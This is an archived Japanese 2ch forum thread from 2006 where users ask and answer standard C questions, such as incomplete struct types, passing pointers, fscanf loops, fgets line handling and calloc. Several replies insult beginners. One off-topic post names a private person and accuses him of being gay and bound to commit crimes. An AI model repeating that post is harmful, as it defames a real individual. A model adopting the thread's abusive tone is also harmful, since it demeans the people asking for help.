【ANSI-C】 C言語なら俺に聞け! Part 128
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
2006/06/26(月) 09:34:44まず問題を冷静に吟味してCの話か否かをはっきりさせてから質問しましょう。
質問する前には最低限検索を。
エラー(警告含む)が起きたのならばエラーメッセージを書きましょう。
C FAQ 日本語訳
http://www.kouno.jp/home/c_faq/
Cプログラマ必読 ・プログラミング言語C(通称 K&R)
http://www.amazon.co.jp/exec/obidos/ASIN/4320026926/250-7563469-9920244
他の過去ログはここに
http://nssearch.hp.infoseek.co.jp/clang/
前スレ
【ANSI-C】 C言語なら俺に聞け! Part 127
http://pc8.2ch.net/test/read.cgi/tech/1147375815/
GUIなどの標準Cではできない事の質問,ソース丸投げ、宿題、書籍 は
専門の別スレッド↓があるのでそこへさようなら。
【初心者歓迎】C/C++室 Ver.28【環境依存OK】
http://pc8.2ch.net/test/read.cgi/tech/1149815331/
C/C++の宿題を片付けます 68代目
http://pc8.2ch.net/test/read.cgi/tech/1151158759/
新・推薦図書/必読図書のためのスレッド 1
http://pc8.2ch.net/test/read.cgi/prog/1146889623/
0002デフォルトの名無しさん
2006/06/26(月) 10:09:480003デフォルトの名無しさん
2006/06/26(月) 12:46:08乙
しかし、何故「標準C」にしなかったのか?
0004デフォルトの名無しさん
2006/06/26(月) 15:38:36構造体のメンバを隠匿する、という方法を見たのですが、これはANSI Cで認められている方法でしょうか?
手元の書籍等見ても記述がなく、ネットで検索しても分かりませんでした。
// MyData.h
typedef const struct PrivateMyData*MyDataRef;
// MyData.c
struct PrivateMyData {
char a;
char b;
};
0005デフォルトの名無しさん
2006/06/26(月) 16:09:27不完全型(incomplete type)として認められている。
0006デフォルトの名無しさん
2006/06/26(月) 16:28:24し,入力される文字列が3文字以上であることは仮定して良い。ってどうゆうふうになりますかねぇ???
0007デフォルトの名無しさん
2006/06/26(月) 16:32:46void printCuttedString(const char * str)
{
#if 0 /* checkが必要なら
if (str == NULL || strlen(str) < 2) return;
#endif
printf("%.*s", strlen(str - 2), str + 1);
}
00087
2006/06/26(月) 16:35:30- #if 0 /* checkが必要なら
- if (str == NULL || strlen(str) < 2) return;
+ #if 0 /* checkが必要なら */
+ if (str == NULL || strlen(str) < 3) return;
0009デフォルトの名無しさん
2006/06/26(月) 16:40:17×printf("%.*s", strlen(str - 2), str + 1);
○printf("%.*s", strlen(str) - 2, str + 1);
0010デフォルトの名無しさん
2006/06/26(月) 16:40:48宿題は宿題スレへ
0011デフォルトの名無しさん
2006/06/26(月) 16:41:510012デフォルトの名無しさん
2006/06/26(月) 16:43:12了解です。
オブジェクト型・関数型・不完全型という分類を知りませんでした。
ありがとうございました。
0014デフォルトの名無しさん
2006/06/26(月) 17:10:19ありがとうございました。
0015デフォルトの名無しさん
2006/06/26(月) 17:25:55> おいおい、回答しているのに無視かい。
この手の質問に、わざわざ回答するのもどうかと思う。
>>10の対応で十分。
0016デフォルトの名無しさん
2006/06/26(月) 23:10:46main.cで適当なポインタpをhoge.cの関数に渡す
hoge.cの中で、受け取ったpにgを入れてあげる
main.cでpを扱う
というのはアリでしょうか?
/* main.c */
int main(void) {
char *p;
func_hoge(p);
printf("%s\n", p);
return 0;
}
/* hoge.c */
char g[1024] = "hogehoge";
void func_hoge(char *p) {
p = g;
}
0017デフォルトの名無しさん
2006/06/26(月) 23:29:02void func_hoge(char **p)
001816
2006/06/26(月) 23:43:17/* main.c */
int main(void) {
char *p;
func_hoge(&p);
printf("%s\n", p);
return 0;
}
/* hoge.c */
char g[1024] = "hogehoge";
void func_hoge(char **p) {
*p = g;
}
0019デフォルトの名無しさん
2006/06/27(火) 22:34:200020デフォルトの名無しさん
2006/06/28(水) 00:15:45*(ushort *)a=3;
この文はどういう意味なのでしょうか?
ポインターのポインターなら
ushort **a=3;
となると思うのですが・・・
よろしくお願いします
0021デフォルトの名無しさん
2006/06/28(水) 00:22:20何者かわからないaをushortのポインタとみなし(キャストし)、その
指し示す先に3を代入するという意味で、ポインタのポインタではありません。
0022デフォルトの名無しさん
2006/06/28(水) 00:34:26どうもありがとうございました
0023デフォルトの名無しさん
2006/06/28(水) 00:39:450024デフォルトの名無しさん
2006/06/28(水) 01:46:160025デフォルトの名無しさん
2006/06/28(水) 02:03:300026デフォルトの名無しさん
2006/06/28(水) 02:19:510027デフォルトの名無しさん
2006/06/28(水) 07:40:35全然問題ない。
(ushort *)aは右辺値だが、間接参照演算子の結果は必ず左辺値。
0028デフォルトの名無しさん
2006/06/28(水) 10:12:27[2] 問題文: 階乗を計算するdouble型の関数を使い、1から10までの階乗を表示するプログラムを作成してください。引数を使わないで、外部変数を使って、main関数からユーザー関数に、1から10までの値を送ってください。
[3] 環境
[3.1] OS: WindowsXP
[3.2] コンパイラ名とバージョン: gcc
[3.3] 言語: C
[4] 期限: 今日
[5] その他の制限:お願いします。なるべく早く・・・
0029デフォルトの名無しさん
2006/06/28(水) 14:11:54別に竹石圭佑がゲイでもホモでもどーでもいいだろ。関わらずに無視すりゃ良いだけだし。
大体、ほっとけば勝手に犯罪起こして、また逮捕されて社会から消えるような野郎だしな。
0030デフォルトの名無しさん
2006/06/28(水) 14:18:32いっそ中退してしまえ間抜け。
0031デフォルトの名無しさん
2006/06/28(水) 14:38:240032デフォルトの名無しさん
2006/06/28(水) 16:31:28スレ違い
0033デフォルトの名無しさん
2006/06/28(水) 16:32:26> entypeってどんな型でしょうか?
標準Cにそんな型はない
0034デフォルトの名無しさん
2006/06/28(水) 17:00:06WindowsまたはLinuxで動かす予定のソフトを作っているのですが、
仮にそのどちらでもないOSでソースをコンパイルした場合に
#if defined (_MSC_VER)
func_windows();
#elif defined (__GNUC__)
func_linux();
#else
//コンパイル時にここに来たらエラー表示してコンパイルを中断する方法を教えてください。
//よろしく。
#endif
0035デフォルトの名無しさん
2006/06/28(水) 17:05:010036デフォルトの名無しさん
2006/06/28(水) 17:06:36errorディレクティブ。
その前にその条件ではWindowsかLinuxかになっていないぞ。
本当にWindows/Linuxで判別したいなら_WIN32/__linux__が定義されているかを使うべきだと思う。
0037デフォルトの名無しさん
2006/06/28(水) 17:15:30>本当にWindows/Linuxで判別したいなら_WIN32/__linux__が定義されているかを使うべきだと思う。
アドバイスありがとうございます。
私自身、どれを使ったらいいのか良く分からないまま_MSC_VERと__GNUC__を使っていました。
0038デフォルトの名無しさん
2006/06/28(水) 22:09:20while(fscanf(fp,"%c",char)!= EOF ){
こう記述すると、最初の1文字しか入りません。どうしたらいいですか?
0039デフォルトの名無しさん
2006/06/28(水) 22:12:57> どうしたらいいでしょうか?
ファイル操作について勉強するといいよ。
0040デフォルトの名無しさん
2006/06/28(水) 22:21:44教科書読んで最善をつくしたんですが
0041デフォルトの名無しさん
2006/06/28(水) 22:51:36そう記述すると、どうみてもエラーです。
0042デフォルトの名無しさん
2006/06/28(水) 23:04:21どうかくんですか?
0043デフォルトの名無しさん
2006/06/28(水) 23:13:40そして次はcharがchar型で問題が起きて聞きに来る予感。
0044デフォルトの名無しさん
2006/06/28(水) 23:17:07while(fscanf(fp,"%c",sp)!= EOF ){
でもだめだし
while(fscanf(fp,"%c",getchar(sp))!= EOF ){
でもだめなんです・・・・
0045デフォルトの名無しさん
2006/06/28(水) 23:22:41サンプルコードぐらいすぐ出てくるだろ。
0046デフォルトの名無しさん
2006/06/28(水) 23:30:580047デフォルトの名無しさん
2006/06/28(水) 23:34:31○ &sp
0048デフォルトの名無しさん
2006/06/28(水) 23:37:31fp= NULL;
do{
printf("\nデータファイル名を入力して下さい");
scanf("%s", datafile);
fp = fopen( datafile, "r" );
}while( fp == NULL);
while(fscanf(fp,"%c",&speech)!= EOF ){
fclose(fp);
}
最初の1文字しかよみこまれないです・・・・
0049デフォルトの名無しさん
2006/06/28(水) 23:41:04落ち着いて自分が何を書いてるのかよく考えてみろ
0050デフォルトの名無しさん
2006/06/28(水) 23:46:480051デフォルトの名無しさん
2006/06/28(水) 23:46:56分かってない人間は、まず基礎を学べ。
その「教科書」とやらを窓から投げ捨て、すぐに書店に走れ。
0052デフォルトの名無しさん
2006/06/28(水) 23:48:030053デフォルトの名無しさん
2006/06/28(水) 23:53:10文字読み込む度にfclose()してどうする。
覚えようと言う気が、全く感じられないし、
才能もセンスもないみたいだから、辞めた方がいいよ。
0054デフォルトの名無しさん
2006/06/28(水) 23:53:51while(fscanf(fp,"%c",&speech)!= EOF ){
fclose(fp);
}
これの意味を日本語で説明してくれ
0055デフォルトの名無しさん
2006/06/28(水) 23:54:30素直に答え教えろカス
0056デフォルトの名無しさん
2006/06/28(水) 23:56:04あれ?君宿題スレの人?
これからやるつもりだったけど、やる気なくなっちゃった。ごめーん。
0057デフォルトの名無しさん
2006/06/28(水) 23:56:490058デフォルトの名無しさん
2006/06/28(水) 23:57:2055は俺じゃないです
説明できないっす。適当に書きました
上で&って言われたので入れてみたんですが
0059デフォルトの名無しさん
2006/06/29(木) 00:00:130060デフォルトの名無しさん
2006/06/29(木) 00:06:34puts(speech);
}
にすると読み込めてるんですが、あとの処理では配列がからのままなんですが。。。
0061デフォルトの名無しさん
2006/06/29(木) 00:12:06始めから勉強し直せ!
0062デフォルトの名無しさん
2006/06/29(木) 00:12:38>>59
0063デフォルトの名無しさん
2006/06/29(木) 00:15:25初心者スレの住人に迷惑。
>>60
と言う訳で>>61
0064デフォルトの名無しさん
2006/06/29(木) 00:18:06試行するなりしてから書き込めよ
0065デフォルトの名無しさん
2006/06/29(木) 00:18:530066デフォルトの名無しさん
2006/06/29(木) 00:50:25少なくとも今までの姿勢からはそう見えない。
0067デフォルトの名無しさん
2006/06/29(木) 01:00:260068デフォルトの名無しさん
2006/06/29(木) 01:02:04いろいろやってみました。
しかし文字列にスペースが入るとまた配列の最初から上書きされてしまうみたいです
0069デフォルトの名無しさん
2006/06/29(木) 01:16:220070デフォルトの名無しさん
2006/06/29(木) 08:22:180071デフォルトの名無しさん
2006/06/29(木) 10:21:150072デフォルトの名無しさん
2006/06/29(木) 11:25:34言ってるようなもんだろう、
いつまでも居座ってるって事は。
0073デフォルトの名無しさん
2006/06/30(金) 09:36:150074デフォルトの名無しさん
2006/07/01(土) 03:56:020075デフォルトの名無しさん
2006/07/01(土) 04:01:500076デフォルトの名無しさん
2006/07/01(土) 04:55:50どこで聞いたらいいのか分からないのですが・・・
<-Bcc;
*;{ ...
{ #00ff00;kill(int;s1)>>;file);
w3 = exe->item;Goods*(Attach.)
alpha = exe->(TM)GOODIES;
act_probe = X->status.your_XP_adress;
act_layer = int;s2 = (x,$%&"#_LAYER(i++));
act_Demo = Xact_layer->list_of_files->next;
for(i=0;i,act_layer->(MS++GO;TO;DIE(=));
とか
act_probe = listt->zxcvb.local_XP_adress;
act_layer = GO/DEMO.sit(EXE-XXXX_LAYER(exe));
act_Demo = EXE_#layer->list_files->s1+=;xlan,0
for(i=0;i,exe->number_of_files;i++)
{
exe_#000000 = exec_#file->s2+=;b(off++));
ってなんかのソースですか?
それともプログラムですか?
教えてください
0077デフォルトの名無しさん
2006/07/01(土) 05:30:41GoodTimesだっけ?
ベースになってるネタはC言語のプログラムだけど、
それそのものはソースとしては成り立ってないし、何かのプログラムでもない。
そもそもウェブアートなんだから。
0078デフォルトの名無しさん
2006/07/01(土) 06:33:55main()
{
>>1氏ね;
}
みたいなものか
0079デフォルトの名無しさん
2006/07/01(土) 11:13:05前にビット演算スレでC言語向きなCPUについてぎゃーぎゃー騒いでたよ。
勿論標準Cの仕様にCPUの向き不向きなんて書いてないからここでやるな。
0080デフォルトの名無しさん
2006/07/01(土) 12:04:01wchar_t型の文字の半角、全角を判別する方法はありますでしょうか?
標準関数の中からは見つかれらなかったのですが、どなたかご存知
の方いらっしゃいましたらお願いします。
0081デフォルトの名無しさん
2006/07/01(土) 12:12:09ウェブアートなんですか。ありがとうございます。
0082デフォルトの名無しさん
2006/07/01(土) 12:47:10突っ込み所はたくさんあるものの、結論から言うとないです
0083デフォルトの名無しさん
2006/07/01(土) 17:28:070084デフォルトの名無しさん
2006/07/01(土) 19:03:40スレ違い。
0085デフォルトの名無しさん
2006/07/02(日) 01:37:59元GKだけど、なんか質問ある?
http://game10.2ch.net/test/read.cgi/ghard/1151582461/
204 名前:It's@名無しさん :2006/07/02(日) 00:34:08
IS…GK活動のソニー社内での呼称
NAVI…GK活動の指示がくるらしい。この指示に従って動く
ログ出し…上への書き込み報告
205 名前:It's@名無しさん :2006/07/02(日) 01:16:29
これがGKが居た証拠らしい・・確かに笑える。
154 :名無しさん必死だな :2006/06/29(木) 23:07:57 ID:bQ0GVGu7
http://www.google.co.jp/search?hl=ja&q=%EF%BC%B0%EF%BC%B3%EF%BC%93sugeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee%EF%BC%81%EF%BC%81&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=
これだこれ
0086デフォルトの名無しさん
2006/07/03(月) 02:32:31使う文字にある程度制限があれば、
既知の半角文字だけ自前で判定すればいい。
0087デフォルトの名無しさん
2006/07/04(火) 08:06:00初心者に対して例として使いやすいからってんだろうけどマジかんべんしてください。
#include<stdio.h>をおまじないと言って無理やり次に進むならscanfやgetsも
別の関数で無理やりおまじないとして使って例を挙げてください。
特にこの関数は使ってはいけない関数ですとか言って、後の記述に
ちゃっかり使って例を出してたりした時にはもう死にそう。
初心者より
0088デフォルトの名無しさん
2006/07/04(火) 08:10:40そりゃぁあんた、実務経験のない人間が入門書を書いているんだからぁしかたがない。
尤も、実務経験のある人間で入門書を書けるセンスのある奴もなかなかいないわけだが。
0089デフォルトの名無しさん
2006/07/04(火) 08:29:04これらを一切使わずに、int 型変数に整数値を取り込む簡単な方法が scanf 以外にあるなら教えてください
0090デフォルトの名無しさん
2006/07/04(火) 10:21:18fgets()+atoi()で充分。
0091デフォルトの名無しさん
NGNG0092デフォルトの名無しさん
2006/07/04(火) 12:33:33そんな環境依存の本は「言語の入門書」にはならないよ。
0093デフォルトの名無しさん
2006/07/04(火) 19:26:42fread()+sscanf()はどうよ?
0094デフォルトの名無しさん
2006/07/05(水) 00:49:39メクラ?
>>90
>ポインタを教えずに
0095デフォルトの名無しさん
2006/07/05(水) 01:09:480096デフォルトの名無しさん
2006/07/05(水) 01:44:210097デフォルトの名無しさん
2006/07/05(水) 01:54:11/::::::::::::::::::::::::::/ `゙ヾi
/:::::::::::::::::;;::::::::::l -、 、__|
l:::::::::::::/;ヾ:::/ ,,.-、_ :i;!ーi
}:::::::::::::';r'ソ ゙' ,.-━;;;ァ; ;:!
、、__,....ノ;::::::::::::::iヾ ` ゙フ´ : i゙
/:::::::ヾ;、:::::::;:べリ. /_ i
ノi::::::::::::::::::ゞ'" . ,._ `ヾ:::;'
ノ;::::::::::::::::/ : :_ i: '゙``ー:/ 俺の出番かな?
i'i;、:;;r‐'" ̄``丶、 .ヾ::::゙:...._ '"゙:i'
/ -ー- 、、 `ヽ、ヾ:;;;;;;;;;;;;;;'ノ
0098デフォルトの名無しさん
2006/07/05(水) 03:15:41カン
0099デフォルトの名無しさん
2006/07/05(水) 03:32:200100デフォルトの名無しさん
2006/07/05(水) 07:27:280101初心者
2006/07/05(水) 09:51:52数列の長さを設定しました。
キーボードで文字を入力します。
入力した文字が設定した長さを超えるとごみが出て
次の入力を影響します。
設定した長さ以後のごみをメモリからとる方法は??
(どんなの関数?)
0102デフォルトの名無しさん
2006/07/05(水) 11:53:42>口柔らくお願いしますmーーm
ふざけるな。お願いするのなら顔文字なんか使うな。
そして初心者スレに逝け。
恐らくgets()かscanf()を使っていると思うのだが、
fgets()を使うことを強く勧めておく。
0103デフォルトの名無しさん
2006/07/05(水) 12:29:32c言語って何?
Cなら知ってるけど。
0104デフォルトの名無しさん
2006/07/05(水) 12:30:41getsみたいに改行を取ってくれればいいのに。
0105デフォルトの名無しさん
2006/07/05(水) 12:35:06>>101が言っているのは「c言語」な訳だが...
0106デフォルトの名無しさん
NGNG#define gets_f(a,b) do{fgets(a,b,stdin);a[strlen(a)-1]='\0';}while(0);
0107デフォルトの名無しさん
2006/07/05(水) 12:53:07それだと最終行の行末に改行記号がないときに一文字落ちちゃうよ。
0108デフォルトの名無しさん
2006/07/05(水) 12:58:270109デフォルトの名無しさん
2006/07/05(水) 13:09:30目的がオーバフロー対策なんだから、標準入力からでも末尾に改行がないときの対策こそ必要だと思うが。
まぁ、こんな感じだろ。
inline char * gets_f(char * a, size_t b)
{
if (fgets(a, b, stdin) == NULL) return NULL;
char * p = strchr(a, '\n');
if (p) * p = '\0';
return a;
}
0110デフォルトの名無しさん
NGNGvoid chomp(char* s){int l=strlen(s)-1;s[l]=s[l]=='\n'?'\0':s[l];}
char* gets_f(char s, size_t len){char* res=fgets(s,len,stdin)&&chomp(s);return res;}
0111初心者
2006/07/05(水) 13:23:45”C言語なら俺に聞け!”と書いたのでレス間違いました、
初心者レスに行きます。(以上礼!)
>>106御免今の能力で読めない><;
0112名無しの初心者
2006/07/05(水) 16:00:270113デフォルトの名無しさん
2006/07/05(水) 16:15:310114デフォルトの名無しさん
2006/07/05(水) 20:44:44実行結果は
圧縮前文字列→AAABCCCCCCDDDEFGHHHHJJJ
圧縮前文字数→23
圧縮後文字列→AAAB@C6DDDEFG@H4JJJ
圧縮後文字数→19
という風になります。
sprintf(&cCnt,"%d",iCnt);
cHairetu[soeji]=cCnt;
を使うみたいです。
途中までやってみたのをとりあえず乗せてきます。
#include <stdio.h>
void main()
{
int iCnt;
int gokei;
int i=0;
int b=0,b2=0;
char mojiretu[50] = "AAABCCCCCCCCDDDEFGHHHHJJJ";
char mojiretu2[50];
char taihi;
i = 0;
printf("圧縮前文字列 → ");
while(mojiretu[i] != '\0'){
putchar(mojiretu[i]);
i++;
}
putchar('\n');
printf("圧縮前文字数 → %d\n",i);
0115デフォルトの名無しさん
2006/07/05(水) 22:42:46完成させてほしいなら宿題スレへけ
0116デフォルトの名無しさん
2006/07/06(木) 15:03:35(1)どうして、この二つの関数は引数の並びが違うんでしょうか?
void *calloc(size_t nelem, size_t elsize);
void *malloc(size_t size);
同じにしてもらったほうが、規則性があって分かりやすいような気がするんですが。
(2)
int *p = (int *)calloc(10, sizeof(int));
int *p = (int *)calloc( 1, 10*sizeof(int));
は同じですか?
0117デフォルトの名無しさん
2006/07/06(木) 16:44:47そういえば昔の HP-C は calloc がマクロで、
#define calloc(N, SIZE) memset(malloc((N) * (SIZE)), 0, (N) * (SIZE))
(うろ覚え) みたいになってたなぁ。
0118デフォルトの名無しさん
2006/07/06(木) 22:19:191.web掲示板をつくる。
2.PDAのメモ帳を使って、その掲示板にリアルタイムで書き込みをしたい。
自分でも、よくわかってないんですが、
こういうことをしようとするには、どうやって進めていけばいいんですか?
馬鹿げた質問なんてことはわかっているんですが、教えてください
0119デフォルトの名無しさん
2006/07/06(木) 22:46:49この人のwebページなり書籍なりありませんか?
0120デフォルトの名無しさん
2006/07/06(木) 22:46:53(1)質問に質問で返して恐縮だが、一つしかないものと二つあるものを較べて並びが違うと言う、真意は?
少なくとも私には一つのものと二つのものを並びが違うとは言えないのだが。
(2)>117
>>118
1.WebProg板へどうぞ。
2.モバイル板へどうぞ。
0121デフォルトの名無しさん
2006/07/06(木) 22:55:150122117
2006/07/07(金) 00:17:47(2) 環境によっては、同じではない。
(1) 従って、要素数と要素サイズを別の引数として与えるのと
要素数 * 要素サイズをひとつ渡すのとでは
等価ではない可能性がある。
0123デフォルトの名無しさん
2006/07/07(金) 10:30:52まずそのPDAのメモ帳に通信機能はないでしょ。掲示板の方はPHPとかで簡単に作れる。受信したデータでWebページを生成
0124デフォルトの名無しさん
2006/07/07(金) 18:37:21ヒント:HTML
0125デフォルトの名無しさん
2006/07/08(土) 16:56:38#include <stdio.h>
#include <curses.h>
int main(void)
{
char ch;
char test[20];
int i=0;
ch=getch();
while(ch!='\n'){
test[i++]=ch;
}
printf("%s",test);
return(0);
}
をコンパイルしようとすると
ld: Undefined symbols:
_stdscr
_wgetch
と出ます。
ググって調べたらttp://forums.macnn.com/archive/index.php/t-131565.html
の問題と同じなんですが解決法はないでしょうか?
0126デフォルトの名無しさん
2006/07/08(土) 17:08:26別の道を探せ。
0127デフォルトの名無しさん
2006/07/08(土) 17:27:48じゃあ他の方法でgetch()と同等の処理を実現できますか?
0128デフォルトの名無しさん
2006/07/08(土) 17:32:170129デフォルトの名無しさん
2006/07/08(土) 17:33:36スレ違い。
環境依存OKスレか、初心者スレにでも逝け。
0130デフォルトの名無しさん
2006/07/08(土) 17:39:380131デフォルトの名無しさん
2006/07/08(土) 21:42:280132デフォルトの名無しさん
2006/07/08(土) 22:31:13予約デバイス名である
AUX
CON
NUL
PRN
CLOCK$
COM1〜COM9
LPT1〜LPT9
以上の名前のディレクトリの作成は失敗するらしいのですが、
何故かCLOCK$だけディレクトリが作成されてしまいます。
どなたか理由をご存知の方がいらっしゃいましたら
ご教授願えませんでしょうか?
0133デフォルトの名無しさん
2006/07/08(土) 22:33:400134デフォルトの名無しさん
2006/07/08(土) 22:35:460135デフォルトの名無しさん
2006/07/09(日) 10:51:06なぜその関数を実際に使う時は"&"で直接アドレスを渡す必要があるのでしょうか?
どなたかお願いします。
0136デフォルトの名無しさん
2006/07/09(日) 10:57:35いや、その必要は無いはず。
#include <stdio.h>
typedef void (*pfn)();
void f() {puts("hello");}
void g(pfn p) {p();}
int main(void)
{
g(f);
return 0;
}
0137135
2006/07/09(日) 11:07:060138デフォルトの名無しさん
2006/07/09(日) 11:58:21>>135
初心者スレ辺りで実際のコードを貼ってみるといいと思うよ。
0139デフォルトの名無しさん
2006/07/09(日) 14:36:07gcc 3.4.4でエラーが返って来たんだけど
0140デフォルトの名無しさん
2006/07/09(日) 14:44:260141デフォルトの名無しさん
2006/07/09(日) 15:01:48どうもです。
近いうちに規格が変わる予定ってあるんですかね?
0142デフォルトの名無しさん
2006/07/09(日) 15:04:54規格のほうはまだ先だろうが、コンパイラの実装が C99 に追いつくのは
「いまがんばってるとこ」って感じだから、実際に使用する規格が
C89 から C99 に変わるのは近いうちなのしれない。
0143デフォルトの名無しさん
2006/07/09(日) 15:12:2810年くらいかわならいんじゃ?
0144デフォルトの名無しさん
2006/07/09(日) 15:12:38今のうちに対策を始めた方がいいのかもしれない。
#しかし、個別の話はここではスレ違いだな。
0145デフォルトの名無しさん
2006/07/09(日) 15:20:19おれは大体いつも意識して古臭い書き方してるけど。
0146デフォルトの名無しさん
2006/07/09(日) 15:37:38ベターC部分はC89とC99を足して2で割ったものに+αしたような感じだろ。
0147デフォルトの名無しさん
2006/07/09(日) 16:02:03どっちでも問題がない書き方
0148デフォルトの名無しさん
2006/07/09(日) 16:44:30そんで、使えるもんは使っとく、使えなかったら諦めるってだけだが
0149デフォルトの名無しさん
2006/07/09(日) 18:00:23色んな理由から元々コンパイラ依存なコードを書いてるのであれば、
そのコンパイラで C99 が使えりゃ C99 を使っていいと思う。
0150デフォルトの名無しさん
2006/07/09(日) 19:45:07変数自体は破損してないようなんですが途中で文字化けしてしまいます。
文字列の結合に問題があるんでしょうか?
教えてください。
for(i = 0 ; i < nowMaxNum-1 ; i++) {
if(i != 0) {
wsprintf(lpCmdLineX2 , "#%s\r\n\0" , mapSetAd[i]);
lpCmdLine2 = strcat(lpCmdLine2 , lpCmdLineX2);
}
for(conpas = 0 ; conpas < 4 ; conpas++) {
if(cnMaxNum[conpas][i] > 0) cnMaxNum[conpas][i]--;
for(id = 0 ; id < cnMaxNum[conpas][i]+1 ; id++) {
wsprintf(str , "S%d %s" , cnNum[conpas][i][id] , cnStr[conpas][i][id]);
MessageBox(hWnd,str,"確認",MB_OK);
wsprintf(lpCmdLineX2 , "%d,%s,\0" , cnNum[conpas][i][id] , cnStr[conpas][i][id]);
lpCmdLine2 = strcat(lpCmdLine2 , lpCmdLineX2);
}
wsprintf(lpCmdLineX2 , "|,|,\0");
lpCmdLine2 = strcat(lpCmdLine2 , lpCmdLineX2);
if(conpas == 3) {
wsprintf(lpCmdLineX2 , "\r\n\0");
lpCmdLine2 = strcat(lpCmdLine2 , lpCmdLineX2);
}
}
}
0151デフォルトの名無しさん
2006/07/09(日) 19:57:46「変数自体は破損していない」「文字化けしてしまう」というのが
具体的にどういうことなのかわからないので、はっきりとはわからんが、
strcat() の戻り値を使ってるあたりが勘違いの一端と思われ。
lpCmdLine2 の指してるバッファが足りないんじゃないの?
0152デフォルトの名無しさん
2006/07/09(日) 20:00:34ホントだ。サンクスです
0153デフォルトの名無しさん
2006/07/10(月) 19:29:07#include <stdio.h>
int main(void)
{
int n = 0;
while (++n > 0 && n < 100) {
if (n % 2)
printf("%d ", n);
}
return 0;
}
結果
1 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 …
… 79 81 83 85 87 89 91 93 95 97 99 hoge%
↑を ↓
_1__3__5__7__9
11 13 15 17 19
21 23 25 27 29
31 33 35 37 39
…
…
81 83 85 87 89
91 93 95 97 99
hoge%
のように並べたいのですけど、ご教示いただけないでしょうか。
0154デフォルトの名無しさん
2006/07/10(月) 20:02:52突っ込みどころ満載だが、ここではスレ違いなので
初心者スレか宿題スレへどうぞ。
0155デフォルトの名無しさん
2006/07/10(月) 22:39:151桁の表示のアンダースコアについてよう分からんけど
面倒だからwhileの中をこうしたら?
if (n % 2) printf("%2d ", n);
if(n%10==0) printf("\n");
0156デフォルトの名無しさん
2006/07/10(月) 23:59:390157153
2006/07/11(火) 00:02:06ありがとうございました。
できました。
未熟者でして、最初簡単だと思ってやったらハマッテしまっていました!
> 1桁の表示のアンダースコアについてよう分からんけど
桁数の表示を揃えたいということを伝えるために一桁のところに
アンダースコアを入れてみました。
0158デフォルトの名無しさん
2006/07/11(火) 00:14:48おっきした
0159デフォルトの名無しさん
2006/07/11(火) 00:17:32( ゚д゚)彡 変態!変態!
⊂彡
0160デフォルトの名無しさん
2006/07/11(火) 10:27:460161デフォルトの名無しさん
2006/07/11(火) 19:08:280162デフォルトの名無しさん
2006/07/11(火) 22:28:26スケベ!
0163デフォルトの名無しさん
2006/07/11(火) 22:43:280164デフォルトの名無しさん
2006/07/12(水) 02:28:27typedef struct data{
int **data;
}Data;
という構造体があったとして、以下のようにmain()からfunc()に構造体を渡した場合、
正常に動くのでしょうか?
main(){
Data a;
int **data;
data = (int**)malloc(sizeof(int*)*10);
for(i=0;i<10;i++)
data[i] = (int*)malloc(sizeof(int)*10);
a->data = data;
func(a);
}
func(Data *a){
int i,j,sum=0;
for(i=0;i<10;i++)
for(j=0;j<10;j++)
sum += a->data[i][j];
}
つまり何を聞きたいのかというと、
2次元配列を動的確保した構造体を別の関数に渡した場合、
その配列に正常にアクセスできるのか、ということです。
自分で試したところ、一応動いているみたいなのですが、なんかすごく不安です。
0165164
2006/07/12(水) 02:31:24Data a; → Data *a;
でした。
0166デフォルトの名無しさん
2006/07/12(水) 02:34:52Data a; に戻して、 a.data = data とし、 func(&a) とすれば問題ない。
Data* a; だと不定な領域を指しているポインタを使うことになるのでアウト。
0167デフォルトの名無しさん
2006/07/12(水) 02:37:13正しく動く。
まだ読んでなかったら、これ読んでみて(わかりづらいかもしれないけど)
ttp://www.kouno.jp/home/c_faq/c6.html
0169164
2006/07/12(水) 02:46:52解答ありがとうございます。
安心できました。
>>ttp://www.kouno.jp/home/c_faq/c6.html
まだ読んだことがなかったので、読んでみます。
どうもありがとうございます。
0170デフォルトの名無しさん
2006/07/13(木) 13:16:18どのように勉強していけばいいでしょうか?
0171デフォルトの名無しさん
2006/07/13(木) 13:33:53その後、とりあえず何か簡単なものを作ってみる。
0172デフォルトの名無しさん
2006/07/13(木) 13:51:05文法を覚えながらいろんなソースを読んで書くべし
0173デフォルトの名無しさん
2006/07/13(木) 15:09:56取り合えず「猫でも分かる〜」を買ってきたので
それ見ながら勉強します!
早速、分からない所があるのですが、
作ったプログラムの結果が表示される
黒い画面はどこにあるのでしょうか?
0174デフォルトの名無しさん
2006/07/13(木) 15:19:44コンピュータの中
単体で立ち上げたいなら スタート > アクセサリ > コマンドプロンプト
あるいは スタート > ファイル名を指定して実行 > cmd
0175デフォルトの名無しさん
2006/07/13(木) 15:55:56というか、まずコンパイラが必要。
Windows なら、今ならこれがオススメ。
http://www.microsoft.com/japan/msdn/vstudio/express/visualc/
これでやってりゃ、黒い画面ってやつは勝手に出てくる。
0176デフォルトの名無しさん
2006/07/13(木) 17:13:51ttp://www.vector.co.jp/soft/win95/prog/se141451.html
手軽にやるならまずこっち。VC++2005ExpressEditionは無料なのは良いが
アルゴリズムの勉強程度で、手軽にセットアップできるBCC32をデフォで使って
いざWindowsアプリを作るぞ!ってときにVC++を
0177デフォルトの名無しさん
2006/07/13(木) 17:20:20初心者スレでやればいい話をぐだぐだ続けるんじゃない。
そもそもスレ違いだ。
0178デフォルトの名無しさん
2006/07/13(木) 17:21:11お前何?このスレの主?お前に命令されたくないんだけど?
黙ってくれない?
0179デフォルトの名無しさん
2006/07/13(木) 17:21:42いちいちそういうこと言うなよ、ケツの穴の小さいクズだなぁをいっ
0180デフォルトの名無しさん
2006/07/13(木) 17:21:45宣伝乙。
わざわざ無料で使えるよりANSI準拠度の高いコンパイラを否定してまでとはご苦労なこって。
0181デフォルトの名無しさん
2006/07/13(木) 17:23:03179 :デフォルトの名無しさん :2006/07/13(木) 17:21:42
みごとに31秒だね。よっぽど宣伝したいらしいなぁ、>>178=>>179=>176は。
0182デフォルトの名無しさん
2006/07/13(木) 17:25:00>否定して
覚えはない、何ボケてんの?自分が勧めたもの以外を勧めた奴がいると
何かと気に食わないと言わんばかりのレスを入れる奴は自己中
0183デフォルトの名無しさん
2006/07/13(木) 17:25:43>よっぽど宣伝したいらしいなぁ、>>178=>>179=>176は
イコールが間違ってますよw
0184デフォルトの名無しさん
